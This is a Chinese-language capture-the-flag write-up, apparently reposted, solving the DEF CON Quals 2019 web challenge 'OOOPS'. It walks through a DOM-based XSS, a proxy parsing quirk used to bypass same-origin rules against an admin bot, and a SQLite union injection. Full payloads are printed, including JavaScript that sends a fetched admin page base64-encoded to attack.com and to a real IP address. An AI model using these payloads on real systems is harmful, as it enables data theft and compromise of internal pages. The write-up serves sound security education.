内容简介:这次defcon quals的web又是大坑,花了最长时间的shellql最后是个pwn,拿flag全靠show full processlistwasm标着web&pwn,结果逆向出flag
前言
这次defcon quals的web又是大坑,花了最长时间的shellql最后是个pwn,拿flag全靠show full processlist
wasm标着web&pwn,结果逆向出flag
唯有一道OOOPS算是比较纯正的,而且挺有意思的web题
信息收集
最开始题目只给了一个pac文件,内容是一段混淆过的js代码。
eval((function () { var s = Array.prototype.slice.call(arguments), G = s.shift(); return s.reverse().map(function (f, i) { return String.fromCharCode(f - G - 19 - i) }).join('') })(29, 202, 274, 265, 261, 254, 265, 251, 267, 227, 179, 247, 249, 260, 175, 244, 252, 172, 253, 239, 237, 250, 214, 166, 248, 237, 163, 245, 244, 229, 226, 225, 222, 156, 233, 219, 220, 152, 234, 219, 218, 237, 226, 222, 225, 221, 212, 142, 228, 219, 215, 208, 219, 205, 221, 213, 133, 221, 207, 208, 208, 128, 196, 198, 177, 124, 133, 137, 121, 120, 97, 209, 117, 125, 199, 197, 192, 184, 111, 122, 185, 190, 192, 114, 183, 183, 176, 186, 168, 178, 184, 168, 97, 125, 95, 138, 143, 145, 173, 169, 127, 177, 175, 165, 167, 132, 151, 160, 154, 118) + (16).toString(36).toLowerCase().split('').map(function (c) { return String.fromCharCode(c.charCodeAt() + (-71)) ...... 省略
直接console.log包裹就可以输出内容
FindProxyForURL = function(url, host) { /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */ if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080'; }
前台xss
直接http代理登录,访问ooops.quals2019.oooverflow.io后返回响应
<!DOCTYPE html> <html> <head> <script src="main.js"></script> <meta charset="utf-8" /> </head> <body> <div class="container"> <h1>Page Blocked</h1> <img id=logo src="ooo.png"> <br/> <div id="blocked"></div> <a href="review.html">Request site review</a> </div> </div> </body> </html>
main.js的内容为
function split_url(u) { u = decodeURIComponent(u); // Stringify output = u[0]; for (i=1;i<u.length;i++) { output += u[i] if (i%55==0) output+= "<br/>"; } console.log(output) return output } window.onload = function () { d = document.getElementById("blocked"); d.innerHTML=(split_url(document.location) + " is blocked") }
这里可以很轻易的发现main.js在decode document.location后修改了innerHTML,导致了XSS的产生
代理解析问题
客户端是通过http代理访问ooops.quals2019.oooverflow.io,经过测试,发现只要url的domain或者path部分出现了oooverflow.io,就会直接访问上述的响应内容,而不会真正去请求这个url
比如 http://foo.com/oooverflow.io/?a=xxxx
这样的请求也会返回上述响应的内容
后台bot
上述响应中还存在review.html,会让bot请求你输入的链接
让bot访问你的vps,发现UA为 Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
且referer为 http://10.0.9.6:5000/admin/view/39
访问这个页面出现需要内网用户访问的提示
后台XSS
第一部分中,我们拥有了一个前台的js代码执行,但是在前台的域下,没有可用的信息。根据后台bot的信息,我们的目标应该是获取到后台 /admin/view/39
的内容或者是后台的cookie
但是前后台跨域,因此需要先解决跨域的问题
前后台解析不一致
首先,链接是由bot请求的,同时,bot请求也会经过代理。
借助第一部分中代理只要包含oooverflow.io就会返回固定响应内容的特点,我们可以构造这样的请求 http://10.0.9.6:5000/oooverflow.io/
对于这个请求,bot首先发送给代理,代理会将固定的响应返回给bot,这时bot面对的是一个存在xss漏洞的页面,通过插入标签即可执行js代码,而这个时候,bot面对的域仍是10.0.9.6:5000,解决跨域的问题。
这种思路和RPO很类似
任意执行js
根据第一部分的响应,在对document.location进行处理的时候,每55个字符会加上一个 <br/>
绕过也很简单,通过执行下面代码的思路即可
eval(location.hash.slice(1))
因此payload的总体结构即为
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://attack.com?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/1");oReq.send();
后台 sql 注入
执行上述payload以后,响应的页面大致如下
<!doctype html> <html> <head> <title>OOOPS — Evaluate Requests</title> <link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head> <body> <div class="container"> <div class="row"> <!-- Query: select rowid,* from requests where rowid=1 --> <p> Request #1 from b'10.255.0.2'. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="xxxxxx"> Visit xxxxx </a> </div> </div> </body> </html>
发现执行了sql语句,最基本最简单的id直接注入,唯一要注意的就是后台的数据库是 sqlite 而不是mysql
最后flag在flag表中
最终payload如下
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://118.89.245.122?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/-1 union select (select flag from flag),2,3,4,5");oReq.send();
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。